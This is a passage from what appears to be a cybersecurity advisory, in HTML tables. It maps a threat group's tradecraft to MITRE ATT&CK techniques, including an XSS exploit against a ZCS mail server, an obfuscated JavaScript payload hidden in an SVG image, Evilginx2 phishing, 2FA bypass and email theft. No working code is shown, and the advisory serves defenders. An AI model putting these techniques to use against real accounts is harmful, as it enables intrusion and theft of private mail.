<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>Active Scanning </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p><a href="https://attack.mitre.org/versions/v19/techniques/T1595/" target="_blank"><u>T1595</u></a> </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>Port scanning can be used by this group to assist with determining exploitability of identified targets. </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>Search Open Technical Databases: Scan Databases </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p><a href="https://attack.mitre.org/versions/v19/techniques/T1596/005/" target="_blank"><u>T1596.005</u></a> </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>Various public datasets can provide information to support discovery of exploitable targets. </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>Search Closed Sources </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p><a href="https://attack.mitre.org/versions/v19/techniques/T1597/" target="_blank"><u>T1597</u></a> </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>Previously exfiltrated data can be used to enhance target development efforts. </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>Search Closed Sources: Purchase Technical Data </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p><a href="https://attack.mitre.org/versions/v19/techniques/T1597/002/" target="_blank"><u>T1597.002</u></a> </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>Commercial datasets can also be used to support target development efforts. </p>
</div>
</div>
</td>
</tr>
</tbody>
</table>
</div>
</div>
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<div class="TableContainer Ltr SCXW76044448 BCX8">
<div class="WACAltTextDescribedBy SCXW76044448 BCX8"><a class="ck-anchor"></a></div>
<table dir="ltr" class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<caption><em><strong>Table 10: Resource Development </strong></em></caption>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p class="text-align-center"><strong>Technique Title</strong> </p>
</div>
</div>
</th>
<th role="columnheader">
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p class="text-align-center"><strong>ID</strong> </p>
</div>
</div>
</th>
<th role="columnheader">
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p class="text-align-center"><strong>Use</strong> </p>
</div>
</div>
</th>
</tr>
</thead>
<tbody>
<tr>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>Acquire Infrastructure </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p><a href="https://attack.mitre.org/versions/v19/techniques/T1583/" target="_blank"><u>T1583</u></a> </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>This group used Mullvad VPN to anonymize traffic sent to operational infrastructure. </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>Acquire Infrastructure: Virtual Private Server </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p><a href="https://attack.mitre.org/versions/v19/techniques/T1583/003/" target="_blank"><u>T1583.003</u></a> </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>This group procured VPS servers from a variety of vendors. </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>Develop Capabilities </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p><a href="https://attack.mitre.org/versions/v19/techniques/T1587/" target="_blank"><u>T1587</u></a> </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>The <em>Ulej</em> capability was developed likely for use by this group to conduct spear phishing campaigns. </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>Develop Capabilities: Malware </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p><a href="https://attack.mitre.org/versions/v19/techniques/T1587/001/" target="_blank"><u>T1587.001</u></a> </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>Development of a novel payload that steals a victim’s emails and other sensitive account information. </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>Develop Capabilities: Exploits </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p><a href="https://attack.mitre.org/versions/v19/techniques/T1587/004/" target="_blank"><u>T1587.004</u></a> </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>Development of a novel, at the time, cross-site-scripting (XSS) exploit that enables execution of arbitrary JavaScript. </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>Obtain Capabilities: Tool </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p><a href="https://attack.mitre.org/versions/v19/techniques/T1588/002/" target="_blank"><u>T1588.002</u></a> </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>Open source tools, such as Evilginx2, have also been used by the group. </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>Obtain Capabilities: Artificial Intelligence </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p><a href="https://attack.mitre.org/versions/v19/techniques/T1588/007/" target="_blank"><u>T1588.007</u></a> </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>The group appears to have leveraged AI to support development efforts. </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>Stage Capabilities </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p><a href="https://attack.mitre.org/versions/v19/techniques/T1608/" target="_blank"><u>T1608</u></a> </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>Flowerbed is deployed to a procured server in the cloud. </p>
</div>
</div>
</td>
</tr>
</tbody>
</table>
</div>
</div>
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<div class="TableContainer Ltr SCXW76044448 BCX8">
<p><a class="ck-anchor"></a></p>
<table dir="ltr" class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<caption><em><strong>Table 11: Initial Access </strong></em></caption>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p class="text-align-center"><strong>Technique Title</strong> </p>
</div>
</div>
</th>
<th role="columnheader">
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p class="text-align-center"><strong>ID</strong> </p>
</div>
</div>
</th>
<th role="columnheader">
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p class="text-align-center"><strong>Use</strong> </p>
</div>
</div>
</th>
</tr>
</thead>
<tbody>
<tr>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>Valid Accounts </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p><a href="https://attack.mitre.org/versions/v19/techniques/T1078/" target="_blank"><u>T1078</u></a> </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>This actor has used commercial datasets to acquire account credentials and gain unauthorized access to accounts. Additionally, this actor is believed to use previously compromised accounts to conduct spear phishing.  </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>Trusted Relationship </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p><a href="https://attack.mitre.org/versions/v19/techniques/T1199/" target="_blank"><u>T1199</u></a> </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>The group sends malicious payloads to targeted individuals using previously compromised accounts that might have an established relationship with the target.  </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>Phishing </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p><a href="https://attack.mitre.org/versions/v19/techniques/T1566/" target="_blank"><u>T1566</u></a> </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>The actors used spear phishing to lure users into opening malicious email. </p>
</div>
</div>
</td>
</tr>
</tbody>
</table>
</div>
</div>
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<div class="TableContainer Ltr SCXW76044448 BCX8">
<p><a class="ck-anchor"></a></p>
<table dir="ltr" class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<caption><em><strong>Table 12: Execution </strong></em></caption>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p class="text-align-center"><strong>Technique Title</strong> </p>
</div>
</div>
</th>
<th role="columnheader">
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p class="text-align-center"><strong>ID</strong> </p>
</div>
</div>
</th>
<th role="columnheader">
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p class="text-align-center"><strong>Use</strong> </p>
</div>
</div>
</th>
</tr>
</thead>
<tbody>
<tr>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>Exploitation for Client Execution </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p><a href="https://attack.mitre.org/versions/v19/techniques/T1203/" target="_blank"><u>T1203</u></a> </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>An XSS vulnerability was leveraged to execute the JavaScript payload. </p>
</div>
</div>
</td>
</tr>
</tbody>
</table>
</div>
</div>
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<div class="TableContainer Ltr SCXW76044448 BCX8">
<p><a class="ck-anchor"></a></p>
<table dir="ltr" class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<caption><em><strong>Table 13: Persistence </strong></em></caption>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p class="text-align-center"><strong>Technique Title</strong> </p>
</div>
</div>
</th>
<th role="columnheader">
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p class="text-align-center"><strong>ID</strong> </p>
</div>
</div>
</th>
<th role="columnheader">
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p class="text-align-center"><strong>Use</strong> </p>
</div>
</div>
</th>
</tr>
</thead>
<tbody>
<tr>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>Account Manipulation </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p><a href="https://attack.mitre.org/versions/v19/techniques/T1098/" target="_blank"><u>T1098</u></a> </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>Enabling IMAP and Application Passcodes provides persistent access to the compromised account. </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>Modify Authentication Process: Multi-Factor Authentication </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p><a href="https://attack.mitre.org/versions/v19/techniques/T1556/006/" target="_blank"><u>T1556.006</u></a> </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>Creating Application Passcodes to bypass 2FA and stealing a user’s “Scratch Keys,” which can be used in place of a 2FA token. </p>
</div>
</div>
</td>
</tr>
</tbody>
</table>
</div>
</div>
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<div class="TableContainer Ltr SCXW76044448 BCX8">
<p><a class="ck-anchor"></a></p>
<table dir="ltr" class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<caption><em><strong>Table 14: Privilege Escalation </strong></em></caption>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p class="text-align-center"><strong>Technique Title</strong> </p>
</div>
</div>
</th>
<th role="columnheader">
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p class="text-align-center"><strong>ID</strong> </p>
</div>
</div>
</th>
<th role="columnheader">
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p class="text-align-center"><strong>Use</strong> </p>
</div>
</div>
</th>
</tr>
</thead>
<tbody>
<tr>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>Valid Accounts </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p><a href="https://attack.mitre.org/versions/v19/techniques/T1078/" target="_blank"><u>T1078</u></a> </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>This actor has used commercial datasets to acquire account credentials and gain unauthorized privileged access to accounts.  </p>
</div>
</div>
</td>
</tr>
</tbody>
</table>
<p><a class="ck-anchor"></a></p>
</div>
</div>
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<div class="TableContainer Ltr SCXW76044448 BCX8">
<table dir="ltr" class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<caption><em><strong>Table 15: Stealth </strong></em></caption>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p class="text-align-center"><strong>Technique Title</strong> </p>
</div>
</div>
</th>
<th role="columnheader">
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p class="text-align-center"><strong>ID</strong> </p>
</div>
</div>
</th>
<th role="columnheader">
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p class="text-align-center"><strong>Use</strong> </p>
</div>
</div>
</th>
</tr>
</thead>
<tbody>
<tr>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>Obfuscated Files or Information: Command Obfuscation </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p><a href="https://attack.mitre.org/versions/v19/techniques/T1027/010/" target="_blank"><u>T1027.010</u></a> </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>Obfuscated JavaScript payload sent to targets to exploit the XSS vulnerability. </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>Obfuscated Files or Information: Encrypted/Encoded File </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p><a href="https://attack.mitre.org/versions/v19/techniques/T1027/013/" target="_blank"><u>T1027.013</u></a> </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>The JavaScript payload included both a Base64-encoded and XOR-encrypted inner payload. </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>Obfuscated Files or Information: SVG Smuggling </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p><a href="https://attack.mitre.org/versions/v19/techniques/T1027/017/" target="_blank"><u>T1027.017</u></a> </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>The payload was contained in an “onload” attribute within an SVG image included in the malicious email. </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>Use Alternate Authentication Material: Web Session Cookie </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p><a href="https://attack.mitre.org/versions/v19/techniques/T1550/004/" target="_blank"><u>T1550.004</u></a> </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>Previous campaigns using AiTM leveraged stealing and use of a victim’s session cookies to authenticate. </p>
</div>
</div>
</td>
</tr>
</tbody>
</table>
</div>
</div>
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<div class="TableContainer Ltr SCXW76044448 BCX8">
<p><a class="ck-anchor"></a></p>
<table dir="ltr" class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<caption><em><strong>Table 16: Credential Access </strong></em></caption>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p class="text-align-center"><strong>Technique Title</strong> </p>
</div>
</div>
</th>
<th role="columnheader">
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p class="text-align-center"><strong>ID</strong> </p>
</div>
</div>
</th>
<th role="columnheader">
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p class="text-align-center"><strong>Use</strong> </p>
</div>
</div>
</th>
</tr>
</thead>
<tbody>
<tr>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>Modify Authentication Process: Multi-Factor Authentication </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p><a href="https://attack.mitre.org/versions/v19/techniques/T1556/006/" target="_blank"><u>T1556.006</u></a> </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>Creating Application Passcodes to bypass 2FA and stealing a user’s “Scratch Keys,” which can be used in place of a 2FA token. </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>Adversary-in-the-Middle </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p><a href="https://attack.mitre.org/versions/v19/techniques/T1557/" target="_blank"><u>T1557</u></a> </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>Previous campaigns used Evilginx2 as an AiTM toolkit to intercept credentials and session cookies. </p>
</div>
</div>
</td>
</tr>
</tbody>
</table>
<p><a class="ck-anchor"></a></p>
</div>
</div>
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<div class="TableContainer Ltr SCXW76044448 BCX8">
<table dir="ltr" class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<caption><em><strong>Table 17: Collection </strong></em></caption>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p class="text-align-center"><strong>Technique Title</strong> </p>
</div>
</div>
</th>
<th role="columnheader">
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p class="text-align-center"><strong>ID</strong> </p>
</div>
</div>
</th>
<th role="columnheader">
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p class="text-align-center"><strong>Use</strong> </p>
</div>
</div>
</th>
</tr>
</thead>
<tbody>
<tr>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>Data Staged: Remote Data Staging </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p><a href="https://attack.mitre.org/versions/v19/techniques/T1074/002/" target="_blank"><u>T1074.002</u></a> </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>Exfiltrated data was sent to an actor-controlled VPS prior to assumed long-term storage solutions. </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>Email Collection </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p><a href="https://attack.mitre.org/versions/v19/techniques/T1114/" target="_blank"><u>T1114</u></a> </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>This group has emphasized collection of emails. </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>Email Collection: Remote Email Collection </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p><a href="https://attack.mitre.org/versions/v19/techniques/T1114/002/" target="_blank"><u>T1114.002</u></a> </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>Emails are collected via API calls to the ZCS mail server and are not collected from emails stored directly on the victim’s device. </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>Automated Collection </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p><a href="https://attack.mitre.org/versions/v19/techniques/T1119/" target="_blank"><u>T1119</u></a> </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>Upon execution, the JavaScript payload automatically collects all relevant information in stages. </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>Browser Session Hijacking </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p><a href="https://attack.mitre.org/versions/v19/techniques/T1185/" target="_blank"><u>T1185</u></a> </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>The JavaScript payload leverages the user’s authenticated browser session to make API requests as the user. </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>Archive Collected Data </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p><a href="https://attack.mitre.org/versions/v19/techniques/T1560/" target="_blank"><u>T1560</u></a> </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>Emails are exfiltrated with GZIP compression. </p>
</div>
</div>
</td>
</tr>
</tbody>
</table>
</div>
</div>
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<div class="TableContainer Ltr SCXW76044448 BCX8">
<p><a class="ck-anchor"></a></p>
<table dir="ltr" class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<caption><em><strong>Table 18: Discovery </strong></em></caption>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p class="text-align-center"><strong>Technique Title</strong> </p>
</div>
</div>
</th>
<th role="columnheader">
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p class="text-align-center"><strong>ID</strong> </p>
</div>
</div>
</th>
<th role="columnheader">
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p class="text-align-center"><strong>Use</strong> </p>
</div>
</div>
</th>
</tr>
</thead>
<tbody>
<tr>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>Account Discovery </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p><a href="https://attack.mitre.org/versions/v19/techniques/T1087/" target="_blank"><u>T1087</u></a> </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>Stolen Global Access Lists provide the group with new users to target. </p>
</div>
